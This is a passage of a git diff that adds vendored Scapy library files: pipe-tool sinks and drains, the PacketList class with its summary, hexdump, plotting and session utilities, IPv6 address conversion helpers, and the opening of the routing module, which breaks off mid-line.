``stdout`` + + .. code:: + + +-------+ + >>-|--. |->> + | print | + >-|--' |-> + +-------+ + """ + + def push(self, msg): + print(">" + repr(msg)) + + def high_push(self, msg): + print(">>" + repr(msg)) + + +class RawConsoleSink(Sink): + """Print messages on low and high entries, using os.write + + .. code:: + + +-------+ + >>-|--. |->> + | write | + >-|--' |-> + +-------+ + + :param newlines: Include a new-line character after printing each packet. + Defaults to True. + :type newlines: bool + """ + + def __init__(self, name=None, newlines=True): + Sink.__init__(self, name=name) + self.newlines = newlines + self._write_pipe = 1 + + def push(self, msg): + if self.newlines: + msg += "\n" + os.write(self._write_pipe, msg.encode("utf8")) + + def high_push(self, msg): + if self.newlines: + msg += "\n" + os.write(self._write_pipe, msg.encode("utf8")) + + +class CLIFeeder(AutoSource): + """Send messages from python command line: + + .. code:: + + +--------+ + >>-| |->> + | send() | + >-| `----|-> + +--------+ + """ + + def send(self, msg): + self._gen_data(msg) + + def close(self): + self.is_exhausted = True + + +class CLIHighFeeder(CLIFeeder): + """Send messages from python command line to high output: + + .. code:: + + +--------+ + >>-| .----|->> + | send() | + >-| |-> + +--------+ + """ + + def send(self, msg): + self._gen_high_data(msg) + + +class PeriodicSource(ThreadGenSource): + """Generage messages periodically on low exit: + + .. code:: + + +-------+ + >>-| |->> + | msg,T | + >-| `----|-> + +-------+ + """ + + def __init__(self, msg, period, period2=0, name=None): + ThreadGenSource.__init__(self, name=name) + if not isinstance(msg, (list, set, tuple)): + msg = [msg] + self.msg = msg + self.period = period + self.period2 = period2 + + def generate(self): + while self.RUN: + empty_gen = True + for m in self.msg: + empty_gen = False + self._gen_data(m) + time.sleep(self.period) + if empty_gen: + self.is_exhausted = True + self._wake_up() + time.sleep(self.period2) + + +class TermSink(Sink): + """ + Prints messages on the low and high entries, on a separate terminal (xterm + or cmd). + + .. code:: + + +-------+ + >>-|--. |->> + | print | + >-|--' |-> + +-------+ + + :param keepterm: Leave the terminal window open after :py:meth:`~Pipe.stop` + is called. Defaults to True. + :type keepterm: bool + :param newlines: Include a new-line character after printing each packet. + Defaults to True. + :type newlines: bool + :param openearly: Automatically starts the terminal when the constructor is + called, rather than waiting for :py:meth:`~Pipe.start`. + Defaults to True. + :type openearly: bool + """ + + def __init__(self, name=None, keepterm=True, newlines=True, + openearly=True): + Sink.__init__(self, name=name) + self.keepterm = keepterm + self.newlines = newlines + self.openearly = openearly + self.opened = False + if self.openearly: + self.start() + + def _start_windows(self): + if not self.opened: + self.opened = True + self.__f = get_temp_file() + open(self.__f, "a").close() + self.name = "Scapy" if self.name is None else self.name + # Start a powershell in a new window and print the PID + cmd = "$app = Start-Process PowerShell -ArgumentList '-command &{$host.ui.RawUI.WindowTitle=\\\"%s\\\";Get-Content \\\"%s\\\" -wait}' -passthru; echo $app.Id" % (self.name, self.__f.replace("\\", "\\\\")) # noqa: E501 + proc = subprocess.Popen([conf.prog.powershell, cmd], stdout=subprocess.PIPE) # noqa: E501 + output, _ = proc.communicate() + # This is the process PID + self.pid = int(output) + print("PID: %d" % self.pid) + + def _start_unix(self): + if not self.opened: + self.opened = True + rdesc, self.wdesc = os.pipe() + cmd = ["xterm"] + if self.name is not None: + cmd.extend(["-title", self.name]) + if self.keepterm: + cmd.append("-hold") + cmd.extend(["-e", "cat <&%d" % rdesc]) + self.proc = subprocess.Popen(cmd, close_fds=False) + os.close(rdesc) + + def start(self): + if WINDOWS: + return self._start_windows() + else: + return self._start_unix() + + def _stop_windows(self): + if not self.keepterm: + self.opened = False + # Recipe to kill process with PID + # http://code.activestate.com/recipes/347462-terminating-a-subprocess-on-windows/ + import ctypes + PROCESS_TERMINATE = 1 + handle = ctypes.windll.kernel32.OpenProcess(PROCESS_TERMINATE, False, self.pid) # noqa: E501 + ctypes.windll.kernel32.TerminateProcess(handle, -1) + ctypes.windll.kernel32.CloseHandle(handle) + + def _stop_unix(self): + if not self.keepterm: + self.opened = False + self.proc.kill() + self.proc.wait() + + def stop(self): + if WINDOWS: + return self._stop_windows() + else: + return self._stop_unix() + + def _print(self, s): + if self.newlines: + s += "\n" + if WINDOWS: + wdesc = open(self.__f, "a") + wdesc.write(s) + wdesc.close() + else: + os.write(self.wdesc, s.encode()) + + def push(self, msg): + self._print(str(msg)) + + def high_push(self, msg): + self._print(str(msg)) + + +class QueueSink(Sink): + """ + Collects messages on the low and high entries into a :py:class:`Queue`. + Messages are dequeued with :py:meth:`recv`. + Both high and low entries share the same :py:class:`Queue`. + + .. code:: + + +-------+ + >>-|--. |->> + | queue | + >-|--' |-> + +-------+ + """ + + def __init__(self, name=None): + Sink.__init__(self, name=name) + self.q = six.moves.queue.Queue() + + def push(self, msg): + self.q.put(msg) + + def high_push(self, msg): + self.q.put(msg) + + def recv(self, block=True, timeout=None): + """ + Reads the next message from the queue. + + If no message is available in the queue, returns None. + + :param block: Blocks execution until a packet is available in the + queue. Defaults to True. + :type block: bool + :param timeout: Controls how long to wait if ``block=True``. If None + (the default), this method will wait forever. If a + non-negative number, this is a number of seconds to + wait before giving up (and returning None). + :type timeout: None, int or float + """ + try: + return self.q.get(block=block, timeout=timeout) + except six.moves.queue.Empty: + pass + + +class TransformDrain(Drain): + """Apply a function to messages on low and high entry: + + .. code:: + + +-------+ + >>-|--[f]--|->> + | | + >-|--[f]--|-> + +-------+ + """ + + def __init__(self, f, name=None): + Drain.__init__(self, name=name) + self.f = f + + def push(self, msg): + self._send(self.f(msg)) + + def high_push(self, msg): + self._high_send(self.f(msg)) + + +class UpDrain(Drain): + """Repeat messages from low entry to high exit: + + .. code:: + + +-------+ + >>-| ,--|->> + | / | + >-|--' |-> + +-------+ + """ + + def push(self, msg): + self._high_send(msg) + + def high_push(self, msg): + pass + + +class DownDrain(Drain): + r"""Repeat messages from high entry to low exit: + + .. code:: + + +-------+ + >>-|--. |->> + | \ | + >-| `--|-> + +-------+ + """ + + def push(self, msg): + pass + + def high_push(self, msg): + self._send(msg) diff --git a/libs/scapy/plist.py b/libs/scapy/plist.py new file mode 100755 index 0000000..0933950 --- /dev/null +++ b/libs/scapy/plist.py @@ -0,0 +1,705 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +PacketList: holds several packets and allows to do operations on them. +""" + + +from __future__ import absolute_import +from __future__ import print_function +import os +from collections import defaultdict + +from scapy.compat import lambda_tuple_converter +from scapy.config import conf +from scapy.base_classes import BasePacket, BasePacketList, _CanvasDumpExtended +from scapy.fields import IPField, ShortEnumField, PacketField +from scapy.utils import do_graph, hexdump, make_table, make_lined_table, \ + make_tex_table, issubtype +from scapy.extlib import plt, Line2D, \ + MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS +from functools import reduce +import scapy.modules.six as six +from scapy.modules.six.moves import range, zip +from scapy.compat import Optional, List, Union, Tuple, Dict, Any, Callable +from scapy.packet import Packet +############# +# Results # +############# + + +class PacketList(BasePacketList, _CanvasDumpExtended): + __slots__ = ["stats", "res", "listname"] + + def __init__(self, res=None, name="PacketList", stats=None): + """create a packet list from a list of packets + res: the list of packets + stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])""" # noqa: E501 + if stats is None: + stats = conf.stats_classic_protocols + self.stats = stats + if res is None: + res = [] + elif isinstance(res, PacketList): + res = res.res + self.res = res + self.listname = name + + def __len__(self): + # type: () -> int + return len(self.res) + + def _elt2pkt(self, elt): + # type: (Packet) -> Packet + return elt + + def _elt2sum(self, elt): + # type: (Packet) -> str + return elt.summary() + + def _elt2show(self, elt): + # type: (Packet) -> str + return self._elt2sum(elt) + + def __repr__(self): + # type: () -> str + stats = {x: 0 for x in self.stats} + other = 0 + for r in self.res: + f = 0 + for p in stats: + if self._elt2pkt(r).haslayer(p): + stats[p] += 1 + f = 1 + break + if not f: + other += 1 + s = "" + ct = conf.color_theme + for p in self.stats: + s += " %s%s%s" % (ct.packetlist_proto(p._name), + ct.punct(":"), + ct.packetlist_value(stats[p])) + s += " %s%s%s" % (ct.packetlist_proto("Other"), + ct.punct(":"), + ct.packetlist_value(other)) + return "%s%s%s%s%s" % (ct.punct("<"), + ct.packetlist_name(self.listname), + ct.punct(":"), + s, + ct.punct(">")) + + def __getstate__(self): + # type: () -> Dict[str, Union[List[PacketField], List[Packet], str]] + """ + Creates a basic representation of the instance, used in + conjunction with __setstate__() e.g. by pickle + + :returns: dict representing this instance + """ + state = { + 'res': self.res, + 'stats': self.stats, + 'listname': self.listname + } + return state + + def __setstate__(self, state): + # type: (Dict[str, Union[List[PacketField], List[Packet], str]]) -> None # noqa: E501 + """ + Sets instance attributes to values given by state, used in + conjunction with __getstate__() e.g. by pickle + + :param state: dict representing this instance + """ + self.res = state['res'] + self.stats = state['stats'] + self.listname = state['listname'] + + def __getattr__(self, attr): + # type: (str) -> Any + return getattr(self.res, attr) + + def __getitem__(self, item): + if issubtype(item, BasePacket): + return self.__class__([x for x in self.res if item in self._elt2pkt(x)], # noqa: E501 + name="%s from %s" % (item.__name__, self.listname)) # noqa: E501 + if isinstance(item, slice): + return self.__class__(self.res.__getitem__(item), + name="mod %s" % self.listname) + return self.res.__getitem__(item) + + def __add__(self, other): + # type: (PacketList) -> PacketList + return self.__class__(self.res + other.res, + name="%s+%s" % (self.listname, other.listname)) + + def summary(self, prn=None, lfilter=None): + # type: (Optional[Callable], Optional[Callable]) -> None + """prints a summary of each packet + + :param prn: function to apply to each packet instead of + lambda x:x.summary() + :param lfilter: truth function to apply to each packet to decide + whether it will be displayed + """ + for r in self.res: + if lfilter is not None: + if not lfilter(r): + continue + if prn is None: + print(self._elt2sum(r)) + else: + print(prn(r)) + + def nsummary(self, prn=None, lfilter=None): + # type: (Optional[Callable], Optional[Callable]) -> None + """prints a summary of each packet with the packet's number + + :param prn: function to apply to each packet instead of + lambda x:x.summary() + :param lfilter: truth function to apply to each packet to decide + whether it will be displayed + """ + for i, res in enumerate(self.res): + if lfilter is not None: + if not lfilter(res): + continue + print(conf.color_theme.id(i, fmt="%04i"), end=' ') + if prn is None: + print(self._elt2sum(res)) + else: + print(prn(res)) + + def display(self): # Deprecated. Use show() + """deprecated. is show()""" + self.show() + + def show(self, *args, **kargs): + # type: (Any, Any) -> None + """Best way to display the packet list. Defaults to nsummary() method""" # noqa: E501 + return self.nsummary(*args, **kargs) + + def filter(self, func): + # type: (Callable) -> PacketList + """Returns a packet list filtered by a truth function. This truth + function has to take a packet as the only argument and return a boolean value.""" # noqa: E501 + return self.__class__([x for x in self.res if func(x)], + name="filtered %s" % self.listname) + + def make_table(self, *args, **kargs): + # type: (Any, Any) -> None + """Prints a table using a function that returns for each packet its head column value, head row value and displayed value # noqa: E501 + ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%")) """ # noqa: E501 + return make_table(self.res, *args, **kargs) + + def make_lined_table(self, *args, **kargs): + # type: (Any, Any) -> None + """Same as make_table, but print a table with lines""" + return make_lined_table(self.res, *args, **kargs) + + def make_tex_table(self, *args, **kargs): + # type: (Any, Any) -> None + """Same as make_table, but print a table with LaTeX syntax""" + return make_tex_table(self.res, *args, **kargs) + + def plot(self, f, lfilter=None, plot_xy=False, **kargs): + # type: (Callable, Optional[Callable], bool, Any) -> Line2D + """Applies a function to each packet to get a value that will be plotted + with matplotlib. A list of matplotlib.lines.Line2D is returned. + + lfilter: a truth function that decides whether a packet must be plotted + """ + + # Python 2 backward compatibility + f = lambda_tuple_converter(f) + lfilter = lambda_tuple_converter(lfilter) + + # Get the list of packets + if lfilter is None: + lst_pkts = [f(*e) for e in self.res] + else: + lst_pkts = [f(*e) for e in self.res if lfilter(*e)] + + # Mimic the default gnuplot output + if kargs == {}: + kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS + if plot_xy: + lines = plt.plot(*zip(*lst_pkts), **kargs) + else: + lines = plt.plot(lst_pkts, **kargs) + + # Call show() if matplotlib is not inlined + if not MATPLOTLIB_INLINED: + plt.show() + + return lines + + def diffplot(self, f, delay=1, lfilter=None, **kargs): + # type: (Callable, int, Optional[Callable], Any) -> Line2D + """diffplot(f, delay=1, lfilter=None) + Applies a function to couples (l[i],l[i+delay]) + + A list of matplotlib.lines.Line2D is returned. + """ + + # Get the list of packets + if lfilter is None: + lst_pkts = [f(self.res[i], self.res[i + 1]) + for i in range(len(self.res) - delay)] + else: + lst_pkts = [f(self.res[i], self.res[i + 1]) + for i in range(len(self.res) - delay) + if lfilter(self.res[i])] + + # Mimic the default gnuplot output + if kargs == {}: + kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS + lines = plt.plot(lst_pkts, **kargs) + + # Call show() if matplotlib is not inlined + if not MATPLOTLIB_INLINED: + plt.show() + + return lines + + def multiplot(self, f, lfilter=None, plot_xy=False, **kargs): + # type: (Callable, Optional[Callable], bool, Any) -> Line2D + """Uses a function that returns a label and a value for this label, then + plots all the values label by label. + + A list of matplotlib.lines.Line2D is returned. + """ + + # Python 2 backward compatibility + f = lambda_tuple_converter(f) + lfilter = lambda_tuple_converter(lfilter) + + # Get the list of packets + if lfilter is None: + lst_pkts = (f(*e) for e in self.res) + else: + lst_pkts = (f(*e) for e in self.res if lfilter(*e)) + + # Apply the function f to the packets + d = {} # type: Dict[str, List[float]] + for k, v in lst_pkts: + d.setdefault(k, []).append(v) + + # Mimic the default gnuplot output + if not kargs: + kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS + + if plot_xy: + lines = [plt.plot(*zip(*pl), **dict(kargs, label=k)) + for k, pl in six.iteritems(d)] + else: + lines = [plt.plot(pl, **dict(kargs, label=k)) + for k, pl in six.iteritems(d)] + plt.legend(loc="center right", bbox_to_anchor=(1.5, 0.5)) + + # Call show() if matplotlib is not inlined + if not MATPLOTLIB_INLINED: + plt.show() + + return lines + + def rawhexdump(self): + # type: (Optional[Callable]) -> None + """Prints an hexadecimal dump of each packet in the list""" + for p in self: + hexdump(self._elt2pkt(p)) + + def hexraw(self, lfilter=None): + # type: (Optional[Callable]) -> None + """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped # noqa: E501 + lfilter: a truth function that decides whether a packet must be displayed""" # noqa: E501 + for i, res in enumerate(self.res): + p = self._elt2pkt(res) + if lfilter is not None and not lfilter(p): + continue + print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), + p.sprintf("%.time%"), + self._elt2sum(res))) + if p.haslayer(conf.raw_layer): + hexdump(p.getlayer(conf.raw_layer).load) + + def hexdump(self, lfilter=None): + # type: (Optional[Callable]) -> None + """Same as nsummary(), except that packets are also hexdumped + lfilter: a truth function that decides whether a packet must be displayed""" # noqa: E501 + for i, res in enumerate(self.res): + p = self._elt2pkt(res) + if lfilter is not None and not lfilter(p): + continue + print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), + p.sprintf("%.time%"), + self._elt2sum(res))) + hexdump(p) + + def padding(self, lfilter=None): + # type: (Optional[Callable]) -> None + """Same as hexraw(), for Padding layer""" + for i, res in enumerate(self.res): + p = self._elt2pkt(res) + if p.haslayer(conf.padding_layer): + if lfilter is None or lfilter(p): + print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), + p.sprintf("%.time%"), + self._elt2sum(res))) + hexdump(p.getlayer(conf.padding_layer).load) + + def nzpadding(self, lfilter=None): + # type: (Optional[Callable]) -> None + """Same as padding() but only non null padding""" + for i, res in enumerate(self.res): + p = self._elt2pkt(res) + if p.haslayer(conf.padding_layer): + pad = p.getlayer(conf.padding_layer).load + if pad == pad[0] * len(pad): + continue + if lfilter is None or lfilter(p): + print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), + p.sprintf("%.time%"), + self._elt2sum(res))) + hexdump(p.getlayer(conf.padding_layer).load) + + def conversations(self, getsrcdst=None, **kargs): + """Graphes a conversations between sources and destinations and display it + (using graphviz and imagemagick) + + :param getsrcdst: a function that takes an element of the list and + returns the source, the destination and optionally + a label. By default, returns the IP source and + destination from IP and ARP layers + :param type: output type (svg, ps, gif, jpg, etc.), passed to dot's + "-T" option + :param target: filename or redirect. Defaults pipe to Imagemagick's + display program + :param prog: which graphviz program to use + """ + if getsrcdst is None: + def getsrcdst(pkt): + """Extract src and dst addresses""" + if 'IP' in pkt: + return (pkt['IP'].src, pkt['IP'].dst) + if 'IPv6' in pkt: + return (pkt['IPv6'].src, pkt['IPv6'].dst) + if 'ARP' in pkt: + return (pkt['ARP'].psrc, pkt['ARP'].pdst) + raise TypeError() + conv = {} + for p in self.res: + p = self._elt2pkt(p) + try: + c = getsrcdst(p) + except Exception: + # No warning here: it's OK that getsrcdst() raises an + # exception, since it might be, for example, a + # function that expects a specific layer in each + # packet. The try/except approach is faster and + # considered more Pythonic than adding tests. + continue + if len(c) == 3: + conv.setdefault(c[:2], set()).add(c[2]) + else: + conv[c] = conv.get(c, 0) + 1 + gr = 'digraph "conv" {\n' + for (s, d), l in six.iteritems(conv): + gr += '\t "%s" -> "%s" [label="%s"]\n' % ( + s, d, ', '.join(str(x) for x in l) if isinstance(l, set) else l + ) + gr += "}\n" + return do_graph(gr, **kargs) + + def afterglow(self, src=None, event=None, dst=None, **kargs): + # type: (Optional[Callable], Optional[Callable], Optional[Callable], Any) -> None # noqa: E501 + """Experimental clone attempt of http://sourceforge.net/projects/afterglow + each datum is reduced as src -> event -> dst and the data are graphed. + by default we have IP.src -> IP.dport -> IP.dst""" + if src is None: + src = lambda x: x['IP'].src + if event is None: + event = lambda x: x['IP'].dport + if dst is None: + dst = lambda x: x['IP'].dst + sl = {} # type: Dict[IPField, Tuple[int, List[ShortEnumField]]] + el = {} # type: Dict[ShortEnumField, Tuple[int, List[IPField]]] + dl = {} # type: Dict[IPField, ShortEnumField] + for i in self.res: + try: + s, e, d = src(i), event(i), dst(i) + if s in sl: + n, lst = sl[s] + n += 1 + if e not in lst: + lst.append(e) + sl[s] = (n, lst) + else: + sl[s] = (1, [e]) + if e in el: + n, lst = el[e] + n += 1 + if d not in lst: + lst.append(d) + el[e] = (n, lst) + else: + el[e] = (1, [d]) + dl[d] = dl.get(d, 0) + 1 + except Exception: + continue + + def minmax(x): + m, M = reduce(lambda a, b: (min(a[0], b[0]), max(a[1], b[1])), + ((a, a) for a in x)) + if m == M: + m = 0 + if M == 0: + M = 1 + return m, M + + mins, maxs = minmax(x for x, _ in six.itervalues(sl)) + mine, maxe = minmax(x for x, _ in six.itervalues(el)) + mind, maxd = minmax(six.itervalues(dl)) + + gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n' + + gr += "# src nodes\n" + for s in sl: + n, _ = sl[s] + n = 1 + float(n - mins) / (maxs - mins) + gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (repr(s), repr(s), n, n) # noqa: E501 + gr += "# event nodes\n" + for e in el: + n, _ = el[e] + n = 1 + float(n - mine) / (maxe - mine) + gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(e), repr(e), n, n) # noqa: E501 + for d in dl: + n = dl[d] + n = 1 + float(n - mind) / (maxd - mind) + gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(d), repr(d), n, n) # noqa: E501 + + gr += "###\n" + for s in sl: + n, lst = sl[s] + for e in lst: + gr += ' "src.%s" -> "evt.%s";\n' % (repr(s), repr(e)) + for e in el: + n, lst = el[e] + for d in lst: + gr += ' "evt.%s" -> "dst.%s";\n' % (repr(e), repr(d)) + + gr += "}" + return do_graph(gr, **kargs) + + def canvas_dump(self, **kargs): + # type: (Any) -> Any # Using Any since pyx is imported later + import pyx + d = pyx.document.document() + len_res = len(self.res) + for i, res in enumerate(self.res): + c = self._elt2pkt(res).canvas_dump(**kargs) + cbb = c.bbox() + c.text(cbb.left(), cbb.top() + 1, r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i, len_res), [pyx.text.size.LARGE]) # noqa: E501 + if conf.verb >= 2: + os.write(1, b".") + d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4, # noqa: E501 + margin=1 * pyx.unit.t_cm, + fittosize=1)) + return d + + def sr(self, multi=0): + # type: (int) -> Tuple[SndRcvList, PacketList] + """sr([multi=1]) -> (SndRcvList, PacketList) + Matches packets in the list and return ( (matched couples), (unmatched packets) )""" # noqa: E501 + remain = self.res[:] + sr = [] + i = 0 + while i < len(remain): + s = remain[i] + j = i + while j < len(remain) - 1: + j += 1 + r = remain[j] + if r.answers(s): + sr.append((s, r)) + if multi: + remain[i]._answered = 1 + remain[j]._answered = 2 + continue + del(remain[j]) + del(remain[i]) + i -= 1 + break + i += 1 + if multi: + remain = [x for x in remain if not hasattr(x, "_answered")] + return SndRcvList(sr), PacketList(remain) + + def sessions(self, session_extractor=None): + if session_extractor is None: + def session_extractor(p): + """Extract sessions from packets""" + if 'Ether' in p: + if 'IP' in p or 'IPv6' in p: + ip_src_fmt = "{IP:%IP.src%}{IPv6:%IPv6.src%}" + ip_dst_fmt = "{IP:%IP.dst%}{IPv6:%IPv6.dst%}" + addr_fmt = (ip_src_fmt, ip_dst_fmt) + if 'TCP' in p: + fmt = "TCP {}:%r,TCP.sport% > {}:%r,TCP.dport%" + elif 'UDP' in p: + fmt = "UDP {}:%r,UDP.sport% > {}:%r,UDP.dport%" + elif 'ICMP' in p: + fmt = "ICMP {} > {} type=%r,ICMP.type% code=%r," \ + "ICMP.code% id=%ICMP.id%" + elif 'ICMPv6' in p: + fmt = "ICMPv6 {} > {} type=%r,ICMPv6.type% " \ + "code=%r,ICMPv6.code%" + elif 'IPv6' in p: + fmt = "IPv6 {} > {} nh=%IPv6.nh%" + else: + fmt = "IP {} > {} proto=%IP.proto%" + return p.sprintf(fmt.format(*addr_fmt)) + elif 'ARP' in p: + return p.sprintf("ARP %ARP.psrc% > %ARP.pdst%") + else: + return p.sprintf("Ethernet type=%04xr,Ether.type%") + return "Other" + sessions = defaultdict(self.__class__) + for p in self.res: + sess = session_extractor(self._elt2pkt(p)) + sessions[sess].append(p) + return dict(sessions) + + def replace(self, *args, **kargs): + # type: (Any, Any) -> PacketList + """ + lst.replace(,[,]) + lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...) + if ov is None, all values are replaced + ex: + lst.replace( IP.src, "192.168.1.1", "10.0.0.1" ) + lst.replace( IP.ttl, 64 ) + lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), ) + """ + delete_checksums = kargs.get("delete_checksums", False) + x = PacketList(name="Replaced %s" % self.listname) + if not isinstance(args[0], tuple): + args = (args,) + for p in self.res: + p = self._elt2pkt(p) + copied = False + for scheme in args: + fld = scheme[0] + old = scheme[1] # not used if len(scheme) == 2 + new = scheme[-1] + for o in fld.owners: + if o in p: + if len(scheme) == 2 or p[o].getfieldval(fld.name) == old: # noqa: E501 + if not copied: + p = p.copy() + if delete_checksums: + p.delete_checksums() + copied = True + setattr(p[o], fld.name, new) + x.append(p) + return x + + def getlayer(self, cls, # type: Packet + nb=None, # type: Optional[int] + flt=None, # type: Optional[Dict[str, Any]] + name=None, # type: Optional[str] + stats=None # type: Optional[List[Packet]] + ): + # type: (...) -> PacketList + """Returns the packet list from a given layer. + + See ``Packet.getlayer`` for more info. + + :param cls: search for a layer that is an instance of ``cls`` + :type cls: Type[scapy.packet.Packet] + + :param nb: return the nb^th layer that is an instance of ``cls`` + :type nb: Optional[int] + + :param flt: filter parameters for ``Packet.getlayer`` + :type flt: Optional[Dict[str, Any]] + + :param name: optional name for the new PacketList + :type name: Optional[str] + + :param stats: optional list of protocols to give stats on; if not + specified, inherits from this PacketList. + :type stats: Optional[List[Type[scapy.packet.Packet]]] + :rtype: scapy.plist.PacketList + """ + if name is None: + name = "{} layer {}".format(self.listname, cls.__name__) + if stats is None: + stats = self.stats + + getlayer_arg = {} # type: Dict[str, Any] + if flt is not None: + getlayer_arg.update(flt) + getlayer_arg['cls'] = cls + if nb is not None: + getlayer_arg['nb'] = nb + + # Only return non-None getlayer results + return PacketList([ + pc for pc in (p.getlayer(**getlayer_arg) for p in self.res) + if pc is not None], + name, stats + ) + + def convert_to(self, other_cls, name=None, stats=None): + # type: (Packet, Optional[str], Optional[List[Packet]]) -> PacketList + """Converts all packets to another type. + + See ``Packet.convert_to`` for more info. + + :param other_cls: reference to a Packet class to convert to + :type other_cls: Type[scapy.packet.Packet] + + :param name: optional name for the new PacketList + :type name: Optional[str] + + :param stats: optional list of protocols to give stats on; + if not specified, inherits from this PacketList. + :type stats: Optional[List[Type[scapy.packet.Packet]]] + + :rtype: scapy.plist.PacketList + """ + if name is None: + name = "{} converted to {}".format( + self.listname, other_cls.__name__) + if stats is None: + stats = self.stats + + return PacketList( + [p.convert_to(other_cls) for p in self.res], + name, stats + ) + + +class SndRcvList(PacketList): + __slots__ = [] # type: List[str] + + def __init__(self, + res=None, # type: Optional[Union[List[Packet], PacketList]] + name="Results", # type: str + stats=None # type: Optional[List[Packet]] + ): + # type: (...) -> None + PacketList.__init__(self, res, name, stats) + + def _elt2pkt(self, elt): + # type: (Tuple[Packet, Packet]) -> Packet + return elt[1] + + def _elt2sum(self, elt): + # type: (Tuple[Packet, Packet]) -> str + return "%s ==> %s" % (elt[0].summary(), elt[1].summary()) diff --git a/libs/scapy/pton_ntop.py b/libs/scapy/pton_ntop.py new file mode 100755 index 0000000..dd12dc1 --- /dev/null +++ b/libs/scapy/pton_ntop.py @@ -0,0 +1,137 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Convert IPv6 addresses between textual representation and binary. + +These functions are missing when python is compiled +without IPv6 support, on Windows for instance. +""" + +from __future__ import absolute_import +import socket +import re +import binascii +from scapy.modules.six.moves import range +from scapy.compat import plain_str, hex_bytes, bytes_encode, bytes_hex + +_IP6_ZEROS = re.compile('(?::|^)(0(?::0)+)(?::|$)') +_INET6_PTON_EXC = socket.error("illegal IP address string passed to inet_pton") + + +def _inet6_pton(addr): + """Convert an IPv6 address from text representation into binary form, +used when socket.inet_pton is not available. + + """ + joker_pos = None + result = b"" + addr = plain_str(addr) + if addr == '::': + return b'\x00' * 16 + if addr.startswith('::'): + addr = addr[1:] + if addr.endswith('::'): + addr = addr[:-1] + parts = addr.split(":") + nparts = len(parts) + for i, part in enumerate(parts): + if not part: + # "::" indicates one or more groups of 2 null bytes + if joker_pos is None: + joker_pos = len(result) + else: + # Wildcard is only allowed once + raise _INET6_PTON_EXC + elif i + 1 == nparts and '.' in part: + # The last part of an IPv6 address can be an IPv4 address + if part.count('.') != 3: + # we have to do this since socket.inet_aton('1.2') == + # b'\x01\x00\x00\x02' + raise _INET6_PTON_EXC + try: + result += socket.inet_aton(part) + except socket.error: + raise _INET6_PTON_EXC + else: + # Each part must be 16bit. Add missing zeroes before decoding. + try: + result += hex_bytes(part.rjust(4, "0")) + except (binascii.Error, TypeError): + raise _INET6_PTON_EXC + # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes) + if joker_pos is not None: + if len(result) == 16: + raise _INET6_PTON_EXC + result = (result[:joker_pos] + b"\x00" * (16 - len(result)) + + result[joker_pos:]) + if len(result) != 16: + raise _INET6_PTON_EXC + return result + + +_INET_PTON = { + socket.AF_INET: socket.inet_aton, + socket.AF_INET6: _inet6_pton, +} + + +def inet_pton(af, addr): + """Convert an IP address from text representation into binary form.""" + # Will replace Net/Net6 objects + addr = plain_str(addr) + # Use inet_pton if available + try: + return socket.inet_pton(af, addr) + except AttributeError: + try: + return _INET_PTON[af](addr) + except KeyError: + raise socket.error("Address family not supported by protocol") + + +def _inet6_ntop(addr): + """Convert an IPv6 address from binary form into text representation, +used when socket.inet_pton is not available. + + """ + # IPv6 addresses have 128bits (16 bytes) + if len(addr) != 16: + raise ValueError("invalid length of packed IP address string") + + # Decode to hex representation + address = ":".join(plain_str(bytes_hex(addr[idx:idx + 2])).lstrip('0') or '0' # noqa: E501 + for idx in range(0, 16, 2)) + + try: + # Get the longest set of zero blocks. We need to take a look + # at group 1 regarding the length, as 0:0:1:0:0:2:3:4 would + # have two matches: 0:0: and :0:0: where the latter is longer, + # though the first one should be taken. Group 1 is in both + # cases 0:0. + match = max(_IP6_ZEROS.finditer(address), + key=lambda m: m.end(1) - m.start(1)) + return '{}::{}'.format(address[:match.start()], address[match.end():]) + except ValueError: + return address + + +_INET_NTOP = { + socket.AF_INET: socket.inet_ntoa, + socket.AF_INET6: _inet6_ntop, +} + + +def inet_ntop(af, addr): + """Convert an IP address from binary form into text representation.""" + # Use inet_ntop if available + addr = bytes_encode(addr) + try: + return socket.inet_ntop(af, addr) + except AttributeError: + try: + return _INET_NTOP[af](addr) + except KeyError: + raise ValueError("unknown address family %d" % af) diff --git a/libs/scapy/route.py b/libs/scapy/route.py new file mode 100755 index 0000000..ba2e6a1 --- /dev/null +++ b/libs/scapy/route.py @@ -0,0 +1,204 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Routing and handling of network interfaces. +""" + + +from __future__ import absolute_import + + +import scapy.consts +from scapy.config import conf +from scapy.error import Scapy_Exception, warning +from scapy.modules import six +from scapy.utils import atol, ltoa, itom, plain_str, pretty_list + + +############################## +# Routing/Interfaces stuff # +############################## + +class Route: + def __init__(self): + self.resync() + + def invalidate_cache(self): + self.cache = {} + + def resync(self): + from scapy.arch import read_routes + self.invalidate_cache() + self.routes = read_routes() + + def __repr__(self): + rtlst = [] + for net, msk, gw, iface, addr, metric in self.routes: + rtlst.append((ltoa(net), + 